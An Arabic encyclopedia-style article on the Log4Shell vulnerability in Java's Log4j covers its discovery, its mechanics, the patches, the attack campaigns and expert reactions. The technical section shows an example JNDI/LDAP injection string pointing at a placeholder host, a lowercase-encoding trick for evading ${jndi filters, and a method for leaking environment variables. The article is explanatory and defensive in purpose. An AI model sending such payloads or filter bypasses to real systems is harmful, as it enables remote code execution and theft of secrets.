Log4Shell

تُعدّ ثغرة Log4Shell ( CVE-2021-44228 ) ثغرةً أمنيةً تمّ الإبلاغ عنها في نوفمبر 2021 في Log4j ، وهو إطار عمل شائع لتسجيل الأحداث في جافا ، وتتيح تنفيذ تعليمات برمجية عشوائية ، وقد تمّ استغلالها كثغرة أمنية غير معروفة (ثغرة اليوم الصفر ). ^{[ 2 ] [ 3 ]} كانت هذه الثغرة موجودةً دون أن يلاحظها أحد منذ عام 2013، وقد تمّ الكشف عنها بشكلٍ خاص لمؤسسة برمجيات أباتشي ، التي يُعدّ Log4j أحد مشاريعها، من قِبل تشن تشاوجون من فريق أمن Alibaba Cloud في 24 نوفمبر 2021. ^{[ 4 ]}

قبل إتاحة مُعرّف CVE الرسمي في 10 ديسمبر 2021، انتشرت الثغرة الأمنية تحت اسم "Log4Shell"، الذي أطلقه عليها فري وورتلي من فريق LunaSec، والذي استُخدم في البداية لتتبع المشكلة على الإنترنت. ^{[ 2 ] [ 1 ] [ 5 ] [ 6 ] [ 7 ]} منحت أباتشي ثغرة Log4Shell تصنيف خطورة CVSS بقيمة 10، وهو أعلى تصنيف متاح. ^{[ 8 ]} كان استغلال هذه الثغرة سهل التنفيذ، ويُقدّر أنها كانت قادرة على التأثير على مئات الملايين من الأجهزة. ^{[ 7 ] [ 9 ]}

تستغل هذه الثغرة الأمنية برنامج Log4j، مما يسمح بإرسال طلبات إلى خوادم LDAP و JNDI عشوائية، ^{[ 2 ] [ 10 ] [ 11 ]} وبالتالي تمكين المهاجمين من تنفيذ أكواد Java عشوائية على خادم أو أي جهاز كمبيوتر آخر، أو تسريب معلومات حساسة. ^{[ 6 ]} وقد نشر فريق أمن Apache قائمة بمشاريع البرامج المتأثرة . ^{[ 12 ]} وتشمل الخدمات التجارية المتأثرة Amazon Web Services ، ^{[ 13 ]} وCloudflare و iCloud ، ^{[ 14 ]} وMinecraft: Java Edition ، ^{[ 15 ]} وSteam و Tencent QQ وغيرها الكثير. ^{[ 10 ] [ 16 ] [ 17 ]} ووفقًا لشركتي Wiz و EY ، فقد أثرت هذه الثغرة الأمنية على 93% من بيئات الحوسبة السحابية للمؤسسات. ^{[ 18 ]}

أثار الكشف عن الثغرة الأمنية ردود فعل قوية من خبراء الأمن السيبراني. فقد وصفت شركة " تينابل" المتخصصة في الأمن السيبراني هذه الثغرة بأنها "أكبر وأخطر ثغرة أمنية على الإطلاق"، ^{[ 19 ]} بينما وصفتها "آرس تكنيكا " بأنها "ربما أخطر ثغرة أمنية على الإطلاق"، ^{[ 20 ]} وقالت صحيفة "واشنطن بوست " إن وصف خبراء الأمن لها "يقترب من وصف نهاية العالم". ^{[ 9 ]}

Log4j هو إطار عمل مفتوح المصدر لتسجيل البيانات ، يسمح لمطوري البرامج بتسجيل البيانات داخل تطبيقاتهم، ويمكنه تضمين مدخلات المستخدم. ^{[ 21 ]} يُستخدم على نطاق واسع في تطبيقات جافا، وخاصة برامج المؤسسات. ^{[ 6 ]} كُتب في الأصل عام 2001 بواسطة سيكي غولجو، وهو الآن جزء من خدمات تسجيل أباتشي، وهو مشروع تابع لمؤسسة برمجيات أباتشي . ^{[ 22 ]} وصف توم كيلرمان، عضو لجنة الأمن السيبراني التابعة للرئيس أوباما ، أباتشي بأنه "أحد الدعامات العملاقة لجسر يُسهّل التواصل بين عالمي التطبيقات وبيئات الحوسبة". ^{[ 23 ]}

تتيح واجهة تسمية ودليل جافا (JNDI) البحث عن كائنات جافا أثناء تشغيل البرنامج باستخدام مسار بياناتها. يمكن لـ JNDI استخدام عدة واجهات دليل، توفر كل منها آلية مختلفة للبحث عن الملفات. من بين هذه الواجهات بروتوكول الوصول إلى الدليل الخفيف (LDAP)، وهو بروتوكول غير خاص بجافا ^{[ 24 ]} يسترجع بيانات الكائن كعنوان URL من خادم مناسب، سواء كان محليًا أو على الإنترنت. ^{[ 25 ]}

في الإعدادات الافتراضية، عند تسجيل سلسلة نصية، يقوم Log4j 2 باستبدال السلاسل النصية للتعبيرات من الشكل ${prefix:name}. ^{[ 25 ]} على سبيل المثال، Text: ${java:version}قد يتم تحويل إلى Text: Java version 1.7.0_67. ^{[ 26 ]} من بين التعبيرات المعترف بها ، التعبير ${jndi:<lookup>}. من خلال تحديد البحث عبر LDAP، يمكن الاستعلام عن أي عنوان URL وتحميله كبيانات كائن Java. ${jndi:ldap://example.com/file}على سبيل المثال، سيقوم بتحميل البيانات من عنوان URL هذا إذا كان متصلاً بالإنترنت. بإدخال سلسلة نصية يتم تسجيلها، يمكن للمهاجم تحميل وتنفيذ تعليمات برمجية ضارة مستضافة على عنوان URL عام. ^{[ 25 ]} حتى في حالة تعطيل تنفيذ البيانات، لا يزال بإمكان المهاجم استرداد البيانات - مثل متغيرات البيئة السرية - عن طريق وضعها في عنوان URL، وفي هذه الحالة سيتم استبدالها وإرسالها إلى خادم المهاجم. ^{[ 27 ] [ 28 ]} بالإضافة إلى بروتوكول LDAP، تشمل بروتوكولات البحث JNDI الأخرى التي يُحتمل استغلالها: بروتوكول LDAPS الآمن، وبروتوكول استدعاء الأساليب عن بُعد في جافا (RMI)، ونظام أسماء النطاقات (DNS)، وبروتوكول الإنترنت بين كائنات ORB (IIOP). ^{[ 29 ] [ 30 ]}

نظرًا لأن طلبات HTTP تُسجّل بشكل متكرر، فإن أحد أساليب الهجوم الشائعة هو وضع السلسلة الخبيثة في عنوان URL لطلب HTTP أو في أحد رؤوس HTTP التي تُسجّل عادةً ، مثل `<T> User-Agent`. تضمنت التدابير الوقائية المبكرة حظر أي طلبات تحتوي على محتويات يحتمل أن تكون خبيثة، مثل ` <T> ${jndi`. ^{[ 31 ]} يمكن تجاوز حلول مطابقة السلاسل الأساسية هذه عن طريق تشفير الطلب: ${${lower:j}ndiعلى سبيل المثال، سيتم تحويل `<T>` إلى بحث JNDI بعد إجراء عملية تحويل الأحرف إلى صغيرة على الحرف `<T>` j. ^{[ 32 ]} حتى لو لم يتم تسجيل مُدخل، مثل الاسم الأول، على الفور، فقد يتم تسجيله لاحقًا أثناء المعالجة الداخلية وتنفيذ محتوياته. ^{[ 25 ]}

صدرت إصلاحات لهذه الثغرة الأمنية في 6 ديسمبر 2021، أي قبل ثلاثة أيام من نشرها، في الإصدار 2.15.0-rc1 من Log4j. ^{[ 33 ] [ 34 ] [ 35 ]} شمل الإصلاح تقييد الخوادم والبروتوكولات التي يمكن استخدامها لعمليات البحث. اكتشف الباحثون خطأً برمجيًا ذا صلة، CVE-2021-45046، يسمح بتنفيذ التعليمات البرمجية محليًا أو عن بُعد في بعض التكوينات غير الافتراضية، وقد تم إصلاحه في الإصدار 2.16.0، الذي عطّل جميع الميزات التي تستخدم JNDI ودعم عمليات البحث عن الرسائل. ^{[ 36 ] [ 37 ]} تم العثور على ثغرتين أمنيتين إضافيتين في المكتبة: هجوم حجب الخدمة ، تم تتبعه تحت رقم CVE-2021-45105 وتم إصلاحه في الإصدار 2.17.0؛ وثغرة أمنية يصعب استغلالها تسمح بتنفيذ التعليمات البرمجية عن بُعد ، تم تتبعها تحت رقم CVE-2021-44832 وتم إصلاحها في الإصدار 2.17.1. ^{[ 38 ] [ 39 ]}org.apache.logging.log4j.core.lookup.JndiLookup في الإصدارات السابقة، يلزم إزالة الفئة من مسار الفئات للتخفيف من حدة كلا الثغرتين. ^{[ 8 ] [ 36 ]} كان أحد الحلول الموصى بها مبكرًا للإصدارات القديمة هو ضبط خاصية النظام log4j2.formatMsgNoLookupsعلى true، لكن هذا التغيير لا يمنع استغلال CVE-2021-45046، وقد تبين لاحقًا أنه لا يعطل عمليات البحث عن الرسائل في بعض الحالات. ^{[ 8 ] [ 36 ]}

تعمل الإصدارات الأحدث من بيئة تشغيل جافا (JRE) على الحد من هذه الثغرة الأمنية عن طريق منع تحميل التعليمات البرمجية البعيدة افتراضيًا، على الرغم من وجود طرق هجوم أخرى في بعض التطبيقات. ^{[ 2 ] [ 27 ] [ 40 ] [ 41 ]} وقد نُشرت عدة طرق وأدوات تساعد في اكتشاف إصدارات Log4j المعرضة للثغرات الأمنية والمستخدمة في حزم جافا المدمجة. ^{[ 42 ]}

عندما يتعذر تطبيق الإصدارات المحدثة، نتيجةً لقيودٍ متنوعة كقلة الموارد أو حلول الإدارة الخارجية، كان ترشيح حركة مرور الشبكة الصادرة من الأنظمة المعرضة للاختراق هو الحل الأمثل للكثيرين. ^{[ 43 ]} يوصي بهذا النهج كلٌ من مجموعة NCC ^{[ 44 ]} والمركز الوطني للأمن السيبراني (المملكة المتحدة) ^{[ 45 ]} ، وهو مثالٌ على استراتيجية الدفاع المتعدد الطبقات . وقد أثبتت التجارب المعملية التي أُجريت باستخدام جدران حماية قادرة على اعتراض حركة المرور الصادرة من عدة إصدارات معرضة للاختراق كليًا أو جزئيًا من المكتبة نفسها وبيئة تشغيل جافا ( JRE) فعالية هذا الترشيح ^{[ 46 ]} .

تُمكّن هذه الثغرة الأمنية المخترقين من السيطرة على الأجهزة المُعرّضة للخطر باستخدام لغة جافا. ^{[ 7 ]} يستغل بعض المخترقين هذه الثغرة لاستخدام أجهزة الضحايا في تعدين العملات المشفرة ، وإنشاء شبكات الروبوتات ، وإرسال البريد العشوائي، وإنشاء أبواب خلفية ، وغيرها من الأنشطة غير القانونية مثل هجمات برامج الفدية . ^{[ 7 ] [ 9 ] [ 47 ]} في الأيام التي تلت الكشف عن هذه الثغرة، رصدت شركة تشيك بوينت ملايين الهجمات التي شنّها المخترقون، حيث لاحظ بعض الباحثين معدلًا يزيد عن مئة هجوم في الدقيقة، ما أسفر في النهاية عن محاولات هجوم على أكثر من 40% من شبكات الأعمال على مستوى العالم. ^{[ 7 ] [ 23 ]}

بحسب ماثيو برينس ، الرئيس التنفيذي لشركة كلاود فلير ، تعود أدلة استغلال الثغرة أو البحث عنها إلى الأول من ديسمبر، أي قبل تسعة أيام من الكشف عنها علنًا. ^{[ 48 ]} ووفقًا لشركة الأمن السيبراني غراي نويز، قامت عدة عناوين IP بمسح مواقع الويب للتحقق من وجود خوادم مصابة بالثغرة. ^{[ 49 ]} وبدأت عدة شبكات بوتات بالبحث عن الثغرة، بما في ذلك شبكة بوتات موهستيك بحلول 10 ديسمبر، بالإضافة إلى ميراي وتسونامي. ^{[ 7 ] [ 48 ] [ 50 ]} ولوحظ استخدام مجموعة برامج الفدية كونتي للثغرة في 17 ديسمبر. ^{[ 9 ]}

استغلت بعض الجماعات المدعومة من دول في الصين وإيران هذه الثغرة الأمنية، وفقًا لشركة تشيك بوينت، لكن من غير المعروف ما إذا كانت إسرائيل أو روسيا أو الولايات المتحدة قد استخدمتها قبل الكشف عن هذه الثغرة. ^{[ 9 ] [ 19 ]} وأفادت تشيك بوينت أن قراصنة مدعومين من إيران حاولوا في 15 ديسمبر/كانون الأول 2021 اختراق شبكات شركات ومؤسسات حكومية إسرائيلية. ^{[ 9 ]}

اعتبارًا من 14 ديسمبر 2021  ،تعرض ما يقارب نصف شبكات الشركات عالميًا لهجمات إلكترونية مكثفة، حيث تم اكتشاف أكثر من 60 نسخة مختلفة من الثغرة الأمنية خلال 24 ساعة. ^{[ 65 ]} وصفت شركة Check Point Software Technologies الوضع بأنه "جائحة إلكترونية حقيقية"، وأكدت أن الأضرار المحتملة "لا تُحصى". ^{[ 66 ]} بالغت بعض التحذيرات الأولية في تقدير عدد الحزم البرمجية المعرضة للخطر، مما أدى إلى نتائج إيجابية خاطئة. والجدير بالذكر أن حزمة "log4j-api" وُصفت بأنها معرضة للخطر، بينما أظهرت الأبحاث اللاحقة أن حزمة "log4j-core" الرئيسية فقط هي المعرضة للخطر. وقد تأكد ذلك في سلسلة نقاشات المشكلة الأصلية ^{[ 67 ]} ومن قبل باحثين أمنيين خارجيين. ^{[ 68 ]}

كتبت مجلة Wired التقنية أنه على الرغم من الضجة السابقة التي أحاطت بالعديد من الثغرات الأمنية، فإن ثغرة Log4j  تستحق كل هذا الضجيج لأسباب عديدة. ^{[ 19 ]} وأوضحت المجلة أن انتشار Log4j، وصعوبة اكتشاف الثغرة من قبل الأهداف المحتملة، وسهولة نقل الشيفرة إلى الضحايا، خلقت "مزيجًا من الخطورة والبساطة والانتشار أثار قلق مجتمع الأمن السيبراني". ^{[ 19 ]} كما حددت Wired مراحل استخدام المخترقين لـ Log4Shell؛ حيث تستغل مجموعات تعدين العملات الرقمية الثغرة أولًا، ثم يقوم سماسرة البيانات ببيع "موطئ قدم" للمجرمين الإلكترونيين، الذين ينخرطون في النهاية في هجمات برامج الفدية والتجسس وتدمير البيانات. ^{[ 19 ]}

صرح أميت يوران ، الرئيس التنفيذي لشركة Tenable والمدير المؤسس لفريق الاستعداد لحالات الطوارئ الحاسوبية في الولايات المتحدة ، قائلاً: "[Log4Shell] هي بلا شك أكبر وأخطر ثغرة أمنية على الإطلاق"، مشيراً إلى أن الهجمات المتطورة بدأت بعد وقت قصير من اكتشاف الثغرة، وأضاف: "نشهد بالفعل استغلالها في هجمات برامج الفدية، وهو ما يُعدّ ناقوس خطر كبير  ... كما وردت إلينا تقارير عن مهاجمين يستخدمون Log4Shell لتدمير الأنظمة دون حتى السعي لجمع الفدية، وهو سلوك غير مألوف". ^{[ 19 ]} وقال شون غالاغر، كبير باحثي التهديدات في شركة Sophos : "بصراحة، يكمن أكبر تهديد هنا في أن أشخاصاً ما قد تمكنوا بالفعل من الوصول إلى النظام ويحتفظون به، وحتى لو تم إصلاح المشكلة، فسيظل هناك من يخترق الشبكة  ... ستبقى هذه الثغرة موجودة طالما بقي الإنترنت". ^{[ 19 ]}

بحسب تقرير لوكالة بلومبيرغ الإخبارية ، فقد وُجّه بعض الغضب إلى مطوري أباتشي بسبب فشلهم في إصلاح الثغرة الأمنية بعد التحذيرات التي صدرت في مؤتمر للأمن السيبراني عام 2016 بشأن استغلال فئات واسعة من البرامج، بما في ذلك Log4j. ^{[ 69 ]}

• موقع Log4j الإلكتروني
• نظرة عامة على Log4Shell على GitHub من المركز الوطني للأمن السيبراني في هولندا
• صفحة الثغرات الأمنية الشائعة ونقاط الضعف
• صفحة قاعدة بيانات الثغرات الأمنية الوطنية
• المشاريع المتأثرة بالثغرة الأمنية cve-2021-44228، من فريق أمن أباتشي